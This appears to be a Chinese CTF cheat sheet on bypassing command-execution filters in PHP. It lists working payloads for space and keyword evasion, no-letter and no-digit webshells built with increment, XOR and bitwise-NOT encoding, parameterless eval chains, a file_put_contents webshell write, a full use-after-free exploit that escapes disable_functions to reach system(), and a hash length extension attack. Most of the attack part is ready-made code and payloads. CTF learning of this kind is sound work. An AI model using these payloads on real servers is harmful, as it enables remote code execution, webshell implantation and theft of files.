命令执行绕过"/>
命令执行绕过
1绕过博客
2.md5 空格 弱类型绕过
3.无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
4.preg_match正则绕过
CTF 总结02:preg_match()绕过
parse_url()变量覆盖绕过
空格绕过:
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20
%09
c=nl<fla''g.php|| < ''绕过绕过空格
绕过:
1.通配符绕过:fl* fl?g2.反斜杠绕过: fla\g
3.双引号过滤 :fl''ag
4.变量拼接绕过
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
linux命令:
cp flag.php 1.txt#复制flag.php内容到1.txt
nl flag.php #查看内容
uniq flag.php #可以使用mv将flag.php文件移动到其他文件 然后访问文件拿到flag?c=mv${IFS}fla?.php${IFS}a.txt# 使用执行文件目录+?来绕过被过滤的命令?c=/bin/?at${IFS}f???????
php:函数copy("flag.php","1.txt")
# 多种遍历数组的姿势
system($c);
# 1
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value." ";}
# 3
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
看历史命令记录(隐藏文件的.前缀)
一般是查看.bash_history或者是.zsh_history
不知道用户名可以~/用,查看root的需要root权限
../../../../../../../../../../../~/.bash_history发现没有回显
../../../../../../../../../../../root/.bash_history
1.过滤了分号和括号
<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
include函数不用括号 分号可以用?>代替 并用php伪协议
#使用伪协议配合文件包含漏洞
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
2.黑盒
<?php
include "check.php";
if (isset($_REQUEST['letter'])){$txw4ever = $_REQUEST['letter'];if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){die("再加把油喔");}else{$command = json_decode($txw4ever,true)['cmd'];checkdata($command);@eval($command);}
}
else{highlight_file(__FILE__);
}
?>
<?=?>
则是相当于<? echo>
,payload最前面?>
用于闭合,payload后面一部分相当于echo
+反引号
执行命令。
import requestsurl = ":28052/"
data='{"cmd":"?><?=`nl /f*`;?>","t":"' + "@"*1000000 + '"}'
//这里必须使用特殊字符,@$之类的都是可以的
a = requests.post(url=url,data={'letter': data}).text
print(a)
2.彻底过滤了通配符* 用 多个?代替
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
c=mv${IFS}f???.php${IFS}a.txt
3.过滤了字母
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
解法一:bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php
c=/???/????64%20????.???
解法二 /usr/bin目录
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2 意思就是说我们先将flag.php文件进行压缩,然后再将其下载
先?c=/???/???/????2 ????.???
然后在url + /flag.php.bz2 下载文件
3)如果禁用了问号,不能使用通配符的方式了,但是可以通过$'\xxx'
的方式执行命令,其中xxx是ascii字母的8进制值,比如ls
可以通过$'\154\163'
的方式进行执行。
值得注意的是,这种方案并不能解析带有参数的命令,所以本题提供了/getflag
来方便大家执行
2.无回显shell_exec()绕过:
copy /f???.??? flag.txtmv flag.php flag.txtcat f* > flag.txtcmd="echo '<?=system(\$_GET[1]);?>'>/var/www/html/1.php";
3.长度限制rce:
>nl创建一个nl名字的文件,然后用*代表将当前目录的第一个文件的名字作为命令名,其余的作为参数执行命令。
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?>
?1=>nl
?1=*无回显绕过:>nl* /*>d去访问/tmp/d就可以了第一个:创建一个叫nl的文件
* /*>d 意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数
2.无参RCE:详解博客多种payload
思路就是通过没有参数的函数达到命令执行的目的。
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
current() -输出数组中的当前元素的值。
scandir() //函数返回指定目录中的文件和目录的数组。
localeconv() //返回一包含本地数字及货币格式信息的数组。
current() //返回数组中的单元,默认取第一个值。
pos是current的别名
getcwd() //取得当前工作目录
dirname() //函数返回路径中的目录部分。
array_flip() //交换数组中的键和值,成功时返回交换后的数组
array_rand() //从数组中随机取出一个或多个单元
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路几种payload:
eval(hex2bin(session_id(session_start())));print_r(current(get_defined_vars()));&b=phpinfo();eval(next(getallheaders()));var_dump(getenv(phpinfo()));print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
1.通过get_defined_vars(),构造get传参
var_dump(pos(get_defined_vars()));&sky=123
可以看到传参之后的位置应该在数组最后一个,用end取出
通过local econv()读取目录
c=print_r(scandir(current(localeconv())));
#最终payload
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或者
#pos()与current()作用相同 readfile()与作用相同highlight_file()
?c=readfile(next(array_reverse(scandir(current(localeconv())))));
#show_source()与作用相同highlight_file()
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
例题:
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){eval($_GET['star']);}
}
payload:?star=eval(pos(array_reverse(getallheaders())));
3. 或运算rce_or
yu师傅脚本
if(isset($_POST['c'])){$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}
}else{highlight_file(__FILE__);
}
?>
4.url编码取反绕过:
<?php
show_source(__FILE__);$code = $_GET['code'];if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){die(' Hello');}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){@eval($code);}?>
注意:[!%FF]是0的意思,因为前面是个数组,取数组里面的第0项才是木马
<?php
echo '~'.urlencode(~"system");
echo '~'.urlencode(~"current");
echo '~'.urlencode(~"getallheaders");
#system(current(getallheaders()));
# ?code=[~%8C%86%8C%8B%9A%92][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
?>
注意:[!%FF]是0的意思,因为前面是个数组,取数组里面的第0项才是木马
5.(1)system("$c") 过滤了数字字母 没有过滤.
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c); //执行函数system可以直接用 . /tmp/xxxxxxxxx 运行文件}
}else{highlight_file(__FILE__);
}
p神 无字母数字webshell之提高篇 可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="/" method="post" enctype="multipart/form-data"><!--目标网址--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
shell下可以利用.来执行任意脚本,shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径
?c=. /???/????????[@-[]
如果上传的是php文件,下面两句之间需要空行
#!/bin/sh
ls
2) 执行函数为eval 则需要闭合php标签用?><?= `. /tmp/xxxxxxxxx`来执行文件
<?phpif(isset($_GET['cmd'])){$cmd=$_GET['cmd'];highlight_file(__FILE__);if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){die("cerror");}if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){die("serror");}eval($cmd);}?>
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
由于过滤了[和@,没有过滤p,需要用字母p来锁定文件
4.利用 $(( ))与整数运算 构造 数字
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
通俗地讲,就是将数学运算表达式放在((和))之间。表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
可以使用
$
获取 (( )) 命令的结果,这和使用$获得变量值是类似的。可以在 (( )) 前面加上
$
符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0 $((~$(())))是-1 $(($((~$(())))$((~$(())))))是-2
这里需要构造36也就是要先构造出-37 然后取反-37是37个$((~$(())))相加c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
4.$_ 构造无数字字母rce: P神一些不包含数字和字母的webshell
<?php
error_reporting(0);
if ($_GET['looklook']){highlight_file(__FILE__);
}else{setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {$ctfshow = $_POST['ctf_show'];if (is_string($ctfshow) || strlen($ctfshow) <= 107) {if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){eval($ctfshow);}else{echo("fucccc hacker!!");}}
} else {phpinfo();
}
?>
可用的字符有:大写C
、0到3
、[
、]
、$
、_
、(
、)
、;
var_dump(C/C) = float(NAN)var_dump(1/C) = float(INF)
var_dump($_[0]) # 得到 N$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;
var_dump($_) # _GET$_=C;++$_;++$_;$C=$_;++$_;++$_;$__=_.$_.$C;$C=C/C.C;$_=$C[0];$_++;$_++;$_++;$_++;$_++;$_++;$_=$__.$_;$$_[0]($$_[1]); #$_GET[0]($_GET[1])
需要进行URL编码
2)自增绕过,
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);这是固定格式构造出来的 assert($_POST[_]);然后post传入 _=phpinfo();使用时需要url编码.
3)限制长度没过滤数字:
rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
url编码传入:
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
3). [] _ () ; “ '自增绕过
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])
4)汉字加取反绕过 _ . ; [] ()
<?php
$__ = [];
$_ = ($__ == $__);//$_ = 1$__ = ~(融);
$___ = $__[$_];//a
$__ = ~(匆);
$___ .= $__[$_].$__[$_];//ass
$__ = ~(随);
$___ .= $__[$_];//asse
$__ = ~(千);
$___ .= $__[$_];//asser
$__ = ~(苦);
$___ .= $__[$_];//assert$____ = ~(~(_));//_
$__ = ~(诗);
$____ .= $__[$_];//_P
$__ = ~(尘);
$____ .= $__[$_];//_PO
$__ = ~(欣);
$____ .= $__[$_];//_POS
$__ = ~(站);
$____ .= $__[$_];//_POST$_=$$____;//$_POST
$___($_[_]);//assert($_POST[_])
5) _ / . [] + () ;
$_=(_/_._)[_]; //变量$_的值为"NAN_"[0],即值为"N"
++$_; //变量$_的值自增后,值为"O"
$__=$_.$_++; //变量$_的值自增后,值为"P",再拼接变量$_自增前的值"O",再赋值给变量$__,其值为"PO"
++$_;++$_; //变量$_的值自增后,值为"Q"、"R"
$$_[$_=_.$__.++$_.++$_]($$_[_]); //变量$_的值自增后,值为"S"、"T",并将其拼接到一起"ST",再拼接到$__变量(值为"PO")之后,即值为"POST",//在再前面拼接"_",即值为"_POST",并赋值给$_变量,再组装成$_POST[]($_POST[_])
3.发现phpinfo中的disabled_function过滤了很多函数:
命令执行函数不能用了;没有过滤file_put_contents(),写马再连;
_=file_put_contents('1.php','<?php eval($_POST[x]);?>');
4. url转十进制绕过 . 也可以用。代替.2
<?php#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){$url = $_GET['url'];$protocol = substr($url, 0,7);if($protocol!='http://'){die('仅限http协议访问');}if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){die('仅限域名地址访问');}system('curl '.$url);
}
url=http://192。168。7。68/flag
5.open_basedir()绕过脚本
// 只需提交函数内容 记得url编码
<?php
function ctfshow($cmd)
{global $abc, $helper, $backtrace;class Vuln{public $a;public function __destruct(){global $backtrace;unset($this->a);$backtrace = (new Exception)->getTrace();if (!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper{public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8){$address = 0;for ($j = $s - 1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p + $j]);}return $address;}function ptr2str($ptr, $m = 8){$out = "";for ($i = 0; $i < $m; $i++) {$out .= sprintf("%c", ($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8){$i = 0;for ($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c", ($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8){global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if ($s != 8) {$leak %= 2 << ($s * 8) - 1;}return $leak;}function parse_elf($base){$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for ($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if ($p_type == 1 && $p_flags == 6) {$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if ($p_type == 1 && $p_flags == 5) {$text_size = $p_memsz;}}if (!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf){list($data_addr, $text_size, $data_size) = $elf;for ($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if ($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if ($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if ($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak){$base = 0;$start = $binary_leak & 0xfffffffffffff000;for ($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if ($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs){$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if ($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while ($f_entry != 0);return false;}function trigger_uaf($arg){$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if (stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10;$contiguous = [];for ($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) {};if (strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if (!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if (!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if (!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if (!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for ($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4);write($abc, 0xd0 + 0x68, $zif_system);($helper->b)($cmd);exit();
}ctfshow("cat /flag0.txt");
ob_end_flush();
?>
6.url编码取反绕过 (如果没有过滤%和~可以用)
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code = eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}
<?php
//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
异或绕过:
7.create_function()代码注入:讲解
create_function('$a','echo $a."123"')类似于function f($a) {echo $a."123";
}create_function('$a','echo 1;}phpinfo();//."123";')类似于function f($a) {echo 1;}phpinfo();//."123";
}就是function f($a) {echo 1;
}
phpinfo();
highlight_file(__FILE__);if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}}
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行对POST进去的ctf有过滤,对GET进去的show没有过滤。
正则匹配
preg_match('/^[a-z0-9_]*$/isD',$ctfshow)
表示匹配只有字母数字下划线的字符串。如果我在$ctfshow前加一个符号,那么正则匹配返回false。
8.中文绕过
include 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*`{{{"^"?<>/异或为_GET
9. hash拓展长度攻击:
./hash_extender -f md5 -l 32 -d ‘/etc/hosts’ -s ‘f3d366138601b5afefbd4fc15731692e’ -a ‘’ --out-data-format=html
-d 原始数据
-f 代表加密方式
-l key的长度
-s 原始的hash值
-a 添加的值
–out-data-format 输出的格式
/hash_extender -d "" -s 85d4b3c737be15fbb13234dd3b320c5c -a "1" -l 42
得到:Type: md5
Secret length: 42
New signature: c161b9be9cf55180cfd7de7b30c1a1f3
New string: 8000000000000000000000000000500100000000000031
New string 就是要添加的字符串的十六进制
if($_POST['SHCTF']!=md5($flag)){if($_POST['SHCTF']===md5($flag.urldecode($num))){echo("flag is".$flag);}
}
md5($flag)='85d4b3c737be15fbb13234dd3b320c5c'
len($flag)=42payload:
<?php
echo urlencode(hex2bin('8000000000000000000000000000500100000000000031'));
先将十六进制转字符串,url编码
?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%001
SHCTF=c161b9be9cf55180cfd7de7b30c1a1f3
10,蚁剑绕过disable_functions:
连上之后在蚁剑主页面右键webshell使用该插件,按照步骤操作
成功后把webshell地址改为http://……/.antproxy.php,重新连接地址连上就能绕过了
更多推荐
命令执行绕过
发布评论